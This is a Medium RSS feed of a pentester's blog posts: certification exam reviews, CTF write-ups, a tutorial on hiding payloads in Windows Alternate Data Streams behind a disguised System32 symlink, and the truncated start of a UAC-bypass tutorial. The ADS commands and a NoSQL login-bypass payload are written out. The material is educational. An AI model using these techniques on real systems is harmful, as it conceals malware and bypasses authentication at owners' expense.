<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Qais Hammad on Medium]]></title>
        <description><![CDATA[Stories by Qais Hammad on Medium]]></description>
        <link>https://medium.com/@qaishammad?source=rss-10cd54ccfa47------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5mMeN5qdhqhiCEHdfUxPsQ.jpeg</url>
            <title>Stories by Qais Hammad on Medium</title>
            <link>https://medium.com/@qaishammad?source=rss-10cd54ccfa47------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 15:54:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@qaishammad/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My eCPPTv3 Exam Review]]></title>
            <link>https://infosecwriteups.com/my-ecpptv3-exam-review-e5d57dc1ff78?source=rss-10cd54ccfa47------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5d57dc1ff78</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ine]]></category>
            <category><![CDATA[ecppt]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Qais Hammad]]></dc:creator>
            <pubDate>Fri, 27 Mar 2026 14:02:13 GMT</pubDate>
            <atom:updated>2026-04-09T07:55:28.586Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*VTpbJYLreJC6HCwJffyrxg.png" /></figure><p>بسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</p><p>Greetings everyone. Today I’ll be writing my own personal experience and review of INE’s Certified Professoinal Penetration Tester (eCPPT) exam. I’ll also give some tips / advice as well as what to expect in the exam. I spent the full 24-hour exam window, with around 14–15 hours actively working on the exam after accounting for sleep, ended up passing with a score of 82%, in order to pass the exam you would need a score of at least 70%. The exam consists of 45 questions. You get your results immediately after submitting. Let’s roll.</p><h3>Overview of the training / Course</h3><p>The course / training is a clear step-up from the eJPTv2 course. I completed the full eCPPT course / training then dived into <a href="https://hacktheboxltd.sjv.io/19ZM06">hackthebox</a> and finished two modules:<strong> introduction to active directory and active directory enumeration and attacks</strong>. Unfortunately unlike the eJPTv2, the training from ine is not enough to pass the exam as it contains gaps especially in the Active Directory section, but that doesn’t mean that the exam would be easy, while the content may not fully prepare you for the exam, it’s challenging-especially if you’re new to AD pentesting and privilege escalation.</p><h3>What to Study if the training is not enough?</h3><p>Here’s what you’ll need to supplement the INE course:</p><h4>Active Directory</h4><ul><li>Introduction to Active Directory (<a href="https://academy.hackthebox.com/course/preview/introduction-to-active-directory">Link</a> — <a href="https://hacktheboxltd.sjv.io/19ZM06">HackTheBox</a>)</li><li>Active Directory Enumeration &amp; Attacks (<a href="https://academy.hackthebox.com/course/preview/active-directory-enumeration--attacks">Link</a> — <a href="https://hacktheboxltd.sjv.io/19ZM06">HackTheBox</a>)</li><li>There are also other AD Modules in the HTB CPTS path (<a href="https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist">Link</a>)</li><li>Learn how to use the Impacket AD Tools</li></ul><h4>Web App</h4><ul><li>Wordpress Course (<a href="https://academy.hackthebox.com/course/preview/hacking-wordpress">Link</a> — <a href="https://hacktheboxltd.sjv.io/19ZM06">HackTheBox</a>)</li><li>As many web app rooms as possible on <a href="https://tryhackme.com/">TryHackMe</a></li></ul><h3>What to Skip in the training</h3><blockquote>Note: read this section if you are interested in taking the exam ASAP and don’t want to waste time by studying things that you will not need in the exam or are planning to study them after passing the exam.</blockquote><ul><li>Client-Side Attacks</li><li>System Security &amp; x86 Assembly Fundamentals</li><li>Exploit Development: Buffer Overflows</li><li>Command &amp; Control (C2/C&amp;C)</li></ul><blockquote>Note: It’s really important to come back to these sections and study them as they are very important and still relevant to this day.</blockquote><h3>The Exam Environment / lab</h3><p>First, When starting the exam you will be provided with access to a pre-configured kali linux machine through the browser meaning you will not be able to use your own machine through a vpn connection. Second, the lab provides you with most tools that you would need to pass the exam, except for some like Evil-WinRM which didn’t work for some reason. Third, you might notice that the lab may occasionally fail to display output for certain commands or tools (e.g., kerbrute, smbexec, hydra), in reality, the output is displayed as black text on a black background, making it seem invisible, which can be annoying. When this occurs, copying the output into your own notes or machine can allow you to see the results correctly. (Don’t worry this only happens with a couple of tools).</p><p>Below are some of the tools I used in the exam:</p><p><strong>Nmap, Kerbrute, Hydra, Metasploit, Hashcat, John, Burp Suite, rppclient, smbclient, mysql, impacket-GetNPUsers, Crackmapexec, Bloodhound, xfreerdp, PowerView.ps1, PowerUp.ps1, mimikatz.exe, searchsploit, python3.</strong></p><h3>The Exam Flaws</h3><ol><li><strong>Lab Stability</strong><br> As the exam is relatively new, the environment may occasionally be unstable. In some cases, the lab would suddenly disconnect forcing you to restart the lab. Another thing is I encountered a task requiring me to locate a specific user on a machine, but the user did not exist until I reset the lab environment. It is advisable to keep this in mind and consider resetting the lab if something seems inconsistent.</li></ol><p><strong>2. Password Lists</strong><br> The password lists provided in the letter of engagement can be misleading and are generally not effective for cracking or brute-forcing. Instead, it is recommended to use more reliable lists such as:</p><ul><li>xato-net-10-million-passwords-10000.txt</li><li>seasons.txt</li><li>months.txt</li></ul><p><strong>3. Tool Problems</strong><br>As also stated from other people, certain tools, such as Evil-WinRM, may not function properly on the provided attacker machine, even though ine stated in the letter engagement that you would need to use the docker version, which still didn’t work for me, and i didn’t know if i was doing something wrong (maybe it’s a skill issue lol).</p><h3>What to Expect</h3><p>1- The exam focuses heavily on Active Directory which is no surprise.</p><p>2- Enumeration, bruteforcing and password spraying is a MUST.</p><p>3- Linux machines are also present, which you would need to exploit and escalate your privileges on.</p><p>4- A web application to exploit and test.</p><p>5- A LOT of hash cracking.</p><p>6- Advanced Windows privilege escalation. (Probably the hardest part of the exam as many people get stuck here).</p><p>7- Public exploits / CVEs. Not everything in the exam has to be done inside, you will have to perform some research for public exploits to answer some questions.</p><h3>Overall Advice</h3><ol><li>NOTES. Taking notes in this exam is a life saver, just like you should in any other pentesting exam. I made a big mistake in the last half of the exam by deciding to ditch the note taking and focus on the exam as i noticed that i wasn’t answering alot of questions. Don’t do that.</li><li>Don’t panic, 24 hours is more than enough for you to pass the exam.</li><li>Enumeration and bruteforcing is key.</li></ol><p>4. Get good and familiar with active directory by studying the modules i mentioned above.</p><p><strong>Ready to level up your hacking skills?</strong></p><p><strong>Join </strong><a href="https://hacktheboxltd.sjv.io/19ZM06"><strong>Hack The Box</strong></a><strong> — the ultimate platform to learn penetration testing and cybersecurity hands-on.</strong></p><p><strong>👉 Start hacking </strong><a href="https://hacktheboxltd.sjv.io/19ZM06"><strong><em>here</em></strong></a><strong> and get access to real-world labs, challenges, and career-boosting skills.</strong></p><p><a href="https://hacktheboxltd.sjv.io/19ZM06">HTB Account</a></p><h3>My Own Opinion</h3><p>While I stated above that there are some flaws such as not being able to use your own machine through a vpn, the lab not being stable, as well as the training not being enough, I also have to give credit to INE for the training and their exam, its decent overall and forces you to think more and outisde the box instead of having everything handed to you. I enjoyed this course alot more than the eJPT which felt very boring and repitive at that time, I also enjoyed the exposure to new areas such as Assembly and C2 frameworks. However, these sections are only covered at a basic level, and expanding on them would make the overall course amazing. Thanks to INE for giving me the opportunity to take this exam. If you have any questions feel free to reach out for me on my Linkedin:</p><p><a href="https://linkedin.com/in/qaishammad/">My Linkedin</a></p><p>That’s it! Best of luck!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5d57dc1ff78" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/my-ecpptv3-exam-review-e5d57dc1ff78">My eCPPTv3 Exam Review</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyber-Eto 2025 CTF Qualifications Writeups]]></title>
            <link>https://medium.com/@qaishammad/cyber-eto-2025-qualifications-writeups-64ad1a57319c?source=rss-10cd54ccfa47------2</link>
            <guid isPermaLink="false">https://medium.com/p/64ad1a57319c</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Qais Hammad]]></dc:creator>
            <pubDate>Sat, 01 Nov 2025 18:47:14 GMT</pubDate>
            <atom:updated>2025-11-03T12:07:58.070Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ahR-hlnbgYc-3t0rAzTOkg.png" /></figure><p>بسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</p><p>Hello everyone, this is a quick writeup for some (not all) of the challenges in this ctf, I solved a total of 4 challenges (1 web, 1 pwn and 2 OSINT) so let’s start:</p><h3>1) AgentX (Web)</h3><p>When first visiting the site we are greeted with this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gd9rSDOB484_VxFAIxqUbQ.png" /></figure><p>The challenge gives us a clear hint to look for or guess a directory/file with 4 characters that has something to do with AI/Web crawlers, after trying alot of options i decided to ask chatGPT and he told me to try <strong>llms.txt </strong>which upon visiting gave me these useful endpoints:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*G1ICC9GWkpjrh7_MwtNdcg.png" /></figure><p>Now it was time to launch burpsuite and access these endpoints with the respected Methods, upon trying with /public/help it was not working for some reason, so I tried to change the role of my account from user to admin with the second endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*YjJBgCNIX_dtdpXLIiVrvA.png" /></figure><p>Capture the request and change the endpoint to /api/change_role, make sure the method is POST, then add some json data to change the role to admin, after sending the request we should get a response like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kStvGfNcGqxZfuCkNpvtlQ.png" /></figure><p>Now we take the session ID of the cookie and replace it in our browser using the cookie-editor extension or through the developers tool (Ctrl + Shift + I)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*OArYxeSpyFdWzLBibdEJIQ.png" /></figure><p>After refreshing the page we should see the flag on screen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PeugCPFDiJNv-dFMOL70EA.png" /></figure><h3>2) The Gate Keeper (OSINT)</h3><p>This challenge was pretty easy as the description gives us a hint about the company hiring a new “defender” which means we would have to go through linkedin and search for cyber-eto’s HR accounts.</p><p>After having a look through cyber-etos account on linkedin we can see an HR account with the name “Anas Selawe”, we go through his account, scroll down and find the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*Y9ZHnmJr0Vw-GHru0IJ-gQ.png" /></figure><h3>3) Buried in Concrete (OSINT)</h3><p>In this challenge we are presented with a downloadable image which we would have to extract some information from it then find the ISO 450001:2019 Certification number for the <strong>affiliate </strong>company that we can find (flag format: cybereto{2022/RRA.0308})</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PnQErXv18ihlBzPI8qK2QA.jpeg" /></figure><p>After zooming in on the far left corner of the picture, specifically on the back of the van we can find some blurred text that says “Betão Liz”. After performing some research turns out it’s a company that has to do with concrete specialty, which confirms we are going in the right direction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1tqXdWqnbiaco_kt4_Qgw.png" /></figure><p>When searching we can see a website for this company named “Cimpor” (<a href="https://www.cimpor.com/en/products/concrete">https://www.cimpor.com/en/products/concrete</a>) and upon visiting it we find the wanted certification</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3qOW0fYIX-xJmep1iNKwaQ.png" /></figure><p>Inside the PDF we can find the certification number for ISO 450001:2019 with the number 2012/SST.0343 but that’s not the right number/answer as we would need the number of the original affiliate company</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ebaz-cBZSTMytrxDpiSfUQ.png" /></figure><p>After taking a step back and searching more inside the previous website we find the link of the affiliate company named IBERA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QPbB_WmHndDM4RxNh4vaNA.png" /></figure><p>We visit the site and head to Documentation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uJLw9cYxObQ64m5qICHeoA.png" /></figure><p>Then we scroll down to certifications:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ceW8cnXI6PcbyMPJZ6x5_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IjllLNyLk46KvdtFB_NSBw.png" /></figure><p>Bingo. Flag: cybereto{2014/SST.0390}</p><p>That’s it, Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64ad1a57319c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My eWPTXv3 Exam Review]]></title>
            <link>https://infosecwriteups.com/my-ewptxv3-exam-review-098ee2a5223c?source=rss-10cd54ccfa47------2</link>
            <guid isPermaLink="false">https://medium.com/p/098ee2a5223c</guid>
            <category><![CDATA[ewptx]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[elearnsecurity]]></category>
            <dc:creator><![CDATA[Qais Hammad]]></dc:creator>
            <pubDate>Tue, 09 Sep 2025 21:22:32 GMT</pubDate>
            <atom:updated>2025-12-10T13:23:09.316Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*NkO2pJc6hAonk3cH_b7peg.png" /></figure><p>بسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</p><p>Hello everyone, In this article I’ll be reviewing and giving my own personal opinion on the eWPTXv3 exam from INE, I successfully passed the exam in 9 hours out of 18 with a score of 75%, in order to pass the exam you would need a score of at least 70%. The exam consists of 45 questions. You get your results immediately after submitting.</p><p>Taking this exam was special to me as this was my first certification/exam so I didn’t know what to expect. As for the course material comparing it with what I encountered in the exam, unfortunately I did not find the course material enough for someone to pass the exam, you would need to practice, study and solve labs on portswigger which can really help specially in the API and JWT sections, also having prior experience in bug bounty and pentesting in general can be really helpful.</p><h4>Here are some tips that I can provide that will help:</h4><ol><li>Take your time, don’t panic. The exam is 18 hours and is more than enough for you to finish and answer all questions.</li><li>Document and take notes of everything in a well-structured way. Not taking any notes is really bad and can cause you to panic and answer questions incorrectly, specially in the later part of the exam as the amount of information can become really overwhelming.</li><li>Don’t underestimate the exam. The exam score doesn’t just rely on the questions you answer, it also relies on what you do in the lab and what you don’t do so make sure you check everything and do extra enumeration and demonstrate the exploitation of some vulnerabilities well.</li></ol><h4>Some important tools I used in the exam:</h4><ol><li>nmap, dirb, nikto, curl — for enumeration.</li><li>burpsuite/zap — for web application analysis.</li><li>sqlmap, hydra, metasploit — for exploitation.</li><li>hashcat, john — for post exploitation.</li></ol><h4>Important wordlists to use:</h4><p>Login Forms/Credential Brute-Force, Hash Cracking:</p><ol><li>rockyou.txt<br>■ Location: /usr/share/wordlists/rockyou.txt</li><li>Unix_users.txt<br>■ Location<br>/usr/share/metasploit-framework/data/wordlists/unix_users.txt</li><li>xato-net-10-million-passwords-100000.txt<br>■ Location:<br>/usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt</li><li>scraped-JWT-secrets.txt<br>■ Location:<br>/usr/share/seclists/Passwords/scraped-JWT-secrets.txt</li></ol><p>Directory/File Brute Force:</p><ol><li>/usr/share/seclists/Discovery/Web-Content</li><li>/usr/share/wordlists/dirb/big.txt</li></ol><h3>How to prepare for the exam?</h3><blockquote>If you don’t have <strong>ANY </strong>experience in web app pentesting I would suggest you watch/study the content of the eWPT course as it can set a baseline for you to get ready to study for the eXtreme version.</blockquote><ol><li>Study the course material well and solve all it’s labs.</li><li>Practice on portswigger labs.</li><li>Solve Tryhackme rooms as well as hackthebox.</li><li>Read other reviews as it helped me in understanding what to expect from the exam.</li></ol><h3>The Pros &amp; The Cons</h3><p><strong>Pros</strong><br> The course material is excellent — it’s well-structured, clearly taught, and you definitely feel that it delivers good value for the price. The exam itself is also a strong point: it doesn’t just test knowledge but pushes you to think critically and conduct your own research. Many of the questions aren’t straightforward, which mirrors real-world penetration testing and encourages you to think outside the box.</p><p><strong>Cons</strong><br> That said, I found the older version of the exam to align more closely with real-world pentests. Previously, candidates were required to prepare and submit a full penetration test report, which added both realism and value — unfortunately, this requirement was removed in the current version. Additionally, while the lab/exam environment is functional, it could be improved. For the price point, it would be more efficient and professional to provide VPN-based access rather than relying solely on a preconfigured Kali system, which would likely offer a smoother and faster experience.</p><p>Yup that’s it, Thank you for reading, I wish you the best in your exam!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=098ee2a5223c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/my-ewptxv3-exam-review-098ee2a5223c">My eWPTXv3 Exam Review</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CSCPSUT MetaCTF25 Qualifications Writeups]]></title>
            <link>https://infosecwriteups.com/cscpsut-metactf25-qualifications-writeups-1974e9a7f03e?source=rss-10cd54ccfa47------2</link>
            <guid isPermaLink="false">https://medium.com/p/1974e9a7f03e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Qais Hammad]]></dc:creator>
            <pubDate>Thu, 26 Jun 2025 23:11:39 GMT</pubDate>
            <atom:updated>2025-06-27T15:06:54.101Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YYNsdPRg1JaEjLEsaxcleA.png" /></figure><p>بسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</p><p>Hello everyone, This writeup covers a selection of CTF challenges from the <strong>PSUT MetaCTF Qualifications 2025</strong>. The competition featured eight categories, but unfortunately, due to my not so good skills :p I was only able to solve a few. In this article, I’ll walk you through the challenges I managed to complete and explain how I approached them. Let’s get started!</p><h3>Warmup Category:</h3><ol><li><strong>No Strings Attached</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FLlaPf-vMt0gLDfQKIdGkw.png" /></figure><p>This challenge is by far the easiest one, I downloaded the attached file which is just a ELF executable, then ran the strings command since the challenge name is “No strings attached”, I got the flag but only to realize that it needs some modification, the original flag from the strings command output was:</p><p>METACTF{HC3PT41N_HOBV1OUS_H1S_NOT_SHNOT_SO_HOBV1OUS}</p><p>Then i decided to remove the H letters in addition to the “SHNOT” string so it would make more sense ( I was lucky :D ) the final correct flag was:</p><p>METACTF{C3PT41N_OBV1OUS_1S_NOT_SO_OBV1OUS}</p><p>2.<strong> Seizure</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCIfYPd1yaiAvgBat5Kf3Q.png" /></figure><p>After launching the instance I get a nc command to run to establish a connection, I ran the nc command followed with the domain and the port but got no output, so I decided to just head over to the domain:port in my firefox browser and got the flag straightaway.</p><p>Flag: METACTF{flaaaaaaaa yes this a flag}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*dhNpctnO_XavgcYh7EP7Bg.png" /></figure><p>3.<strong> SkyFail: The Unfriendly Skies</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i-JvH4xmzlExAadhdLHtQA.png" /></figure><p>After launching the instance I get a link to the webpage and this was the front-end page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I-muPipHpa2z5rxaElIy2g.png" /></figure><p>Decided to open up Burpsuite and place in some random values and clicked on the “Submit to flight control” button to intercept the request, after intercepting it I sent it to the repeater to see what response it would give me and I get the flag in one of the response headers:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M6wPidTtkdvurabJA8qb9g.png" /></figure><p>Flag: METACTF{SkyFail_is_the_best_airline_744aozc}</p><h3>Web Category:</h3><ol><li><strong>Mongo Skies</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*myDxCJkjRGiiRxm5TeC9ug.png" /></figure><p>After starting the instance I get a link for a webpage with a login form, this was the webpage:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RHNeKkd-3LX3XnoMCIceSA.png" /></figure><p>The first thing that came to my mind was obviously SQL Injection, but my friend Tareq caught a hint from the challenge name since it had “Mongo” in it I realized that this is a NoSQL Injection challenge.</p><p>I made a quick google search for some Injections to try for NoSQL and I tried the one from this site:</p><p><a href="https://www.invicti.com/learn/nosql-injection/">NoSQL Injection</a></p><p>The Injection code I tried was this:</p><pre>username[$eq]=admin&amp;password[$ne]=foo</pre><p>So I placed some random values, intercepted the request, modified the POST parameters which were “user” and “pass” like so:</p><p>The POST parameters before modification:<br>user=&lt;anything&gt;&amp;pass=&lt;anything&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hCMaqpvgE0vd87nWY6ChOw.png" /></figure><p>The POST parameters after modification:</p><p>user[$eq]=admin&amp;pass[$ne]=anything</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sxd31A_r00-jljzqH7dcaA.png" /></figure><p>Flag: METACTF{whoami03_zaky39ho}</p><h3>OSINT Catergory:</h3><ol><li><strong>A Clownfish that is Cryptic</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kcc_4hVCdQYZM1C3ExVI8w.png" /></figure><p>Since the challenge didn’t provide me with any description, attachment or link I decided to search on google for his socials and i came across his github page:</p><p><a href="https://github.com/CrypticClownfish/CrypticClownfish">GitHub — CrypticClownfish/CrypticClownfish</a></p><p>Searched his github thoroughly but couldn’t find anything until I clicked on his profile picture and something in the right bottom corner caught my eyes which was the flag written on the board.</p><p>Flag: METACTF{DONT_CROP_ME_BRO}</p><p>These are the challenges that I was able to solve, Thanks for reading.</p><p><a href="https://linkedin.com/in/qaishammad">My Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1974e9a7f03e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cscpsut-metactf25-qualifications-writeups-1974e9a7f03e">CSCPSUT MetaCTF25 Qualifications Writeups</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Windows ADS To Hide Payloads/Backdoors]]></title>
            <link>https://infosecwriteups.com/using-windows-ads-to-hide-payloads-backdoors-3c4519ffb4b5?source=rss-10cd54ccfa47------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c4519ffb4b5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Qais Hammad]]></dc:creator>
            <pubDate>Sat, 05 Apr 2025 07:51:30 GMT</pubDate>
            <atom:updated>2025-04-05T11:32:38.880Z</atom:updated>
            <content:encoded><![CDATA[<p>بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</p><p>Hello everyone, today I’ll be explaining how to exploit the ADS (Alternate Data Streams) file system vulnerability in Windows to hide secret payloads, backdoors, etc.., and how attackers can use it to their favor to exploit various commands/processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*aI5cbxi1IKtIEJ8jC6p61w.png" /></figure><h3>What is ADS?</h3><p>Alternate Data Streams (ADS) is an NTFS (New Technology File System) file attribute and was designed to provide compatibility with the MacOS HFS (Hierarchical File System).</p><p>Any file created on an NTFS formatted drive will have two different forks/streams:</p><ol><li>Data stream: Default stream that contains the data of the file.</li><li>Resource stream: Typically contains the metadata of the file.</li></ol><p>Attackers can use ADS to hide malicious code or executables in legitimate files in order to evade detection. This can be done by storing the malicious code or executables in the file attribute resource stream (metadata) of a legitimate file. This technique is usually used to evade basic signature based AVs and static scanning tools.</p><h3>Proof of Concept</h3><p>Firstly we launch the CMD and create a new file called test.txt for example, we enter some data in it like ‘this is visible’ and save the file, now if we right click on the file, go to properties, and click on details. This is the metadata of the file so it’s essentially the resource stream and what we can do is we can actually hide a malicious payload within the resource stream and whenever we execute the file or open the file we can specify that we want to execute the malicious payload.</p><p>Now in order to create a new file called secret.txt and hide it within the resource stream of the legitimate file called test.txt we can run the following command:</p><blockquote>notepad test.txt:secret.txt</blockquote><p>This will create a new file called secret.txt within the resource stream (metadata) of the legitimate file (test.txt). Be aware that running that command will only open/access the contents of secret.txt and not test.txt, if you pay attention you will only see the test.txt file and you won’t see the secret.txt file anywhere.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W76ZUNSP-Efqe5qXvp8bNA.png" /></figure><p>Another really cool detail is that if you click on the properties of the legit file (test.txt) after embedding the ADS data/payload, it will still reflect the original size of the data in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nFgdemD62Wh7jFKb8m-73Q.png" /></figure><p>Now that we understand the concept I will be using the Winpeas.exe as an example of a malicious executable/payload that you can hide. Firstly we navigate to the Temp directory in the root of the C:\ drive (create one if it doesn’t exist), rename winpeas.exe to payload.exe as an example so let’s just pretend it’s a malicious executable or payload which in reality it’s not, after renaming it we will type out the contents of payload.exe into a new legitimate file called windowslog.txt and then pass the in the actual executable into the legitimate text file resource stream, we can do that with the following command:</p><blockquote>type payload.exe &gt; windowslog.txt:winpeas.exe</blockquote><p>What an attacker would typically do now is open up the contents of windowslog.txt, modify it so it looks like a legit generated log file and delete the original payload.exe file since the output has already been passed to the new secret file.</p><p>The last step is to create a symbolic link, we will create one under Windows/System32, so we navigate there and run the following command:</p><blockquote>mklink wupdate.exe C:\Temp\windowslog.txt:winpeas.txt</blockquote><p>Now whenever the user types wupdate through the CMD it will automatically execute winpeas.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8oKC6SdP8hTCUP-6X6wkhA.png" /></figure><p>Attackers can leverage this technique to hide payloads/backdoors such as ones created with msfvenom and many more. Even though this is not a super advanced way to avoid detection, it’s is a really cool vulnerability that can help avoid detection by users/human beings or administrators or by very basic signature based anti-virus systems. Thanks for reading.</p><p><a href="https://linkedin.com/in/qaishammad">My Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c4519ffb4b5" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/using-windows-ads-to-hide-payloads-backdoors-3c4519ffb4b5">Exploiting Windows ADS To Hide Payloads/Backdoors</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Bypass Windows UAC With UACMe]]></title>
            <link>https://infosecwriteups.com/pentesting-tools-bypassing-windows-uac-with-uacme-198fb9b76b55?source=rss-10cd54ccfa47------2</link>
            <guid isPermaLink="false">https://medium.com/p/198fb9b76b55</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Qais Hammad]]></dc:creator>
            <pubDate>Tue, 01 Apr 2025 21:08:43 GMT</pubDate>
            <atom:updated>2025-04-04T09:46:40.931Z</atom:updated>
            <content:encoded><![CDATA[<p>بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</p><p>Hello everyone. Today I’ll explain how you can bypass UAC (User Account Control) in Windows using the UACMe tool developed by @hfire0x on twitter, It abuses the built-in Windows AutoElevate executables, It also has 65+ methods that can be used by the user to bypass UAC depending on the Windows OS version, so let’s begin <strong>(Made for educational purposes only).</strong></p><blockquote>Link for the GitHub Repository for UACMe:</blockquote><blockquote><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></blockquote><p>Firstly we need to get an understanding as to what UAC is, UAC otherwise known as User Account Control is a Windows security feature that was introduced in Windows Vista till now (Windows 11) and is used to prevent unauthorized changes from being made to the operating system ranging from downloading software, modifying the system settings, running programs with elevated privileges and much more.</p><h3>How does UAC work?</h3><p>UAC works by ensuring that changes to the operating system require approval from the<strong> administrator or a user account that is part of the local administrators group</strong>. <strong>A non-privileged user</strong> attempting to execute a program with elevated privileges will be prompted with the <strong>UAC credential prompt</strong>, whereas a <strong>privileged user</strong> will be prompted with a <strong>consent prompt</strong>. Attacks can bypass UAC in order to execute malicious executables with elevated 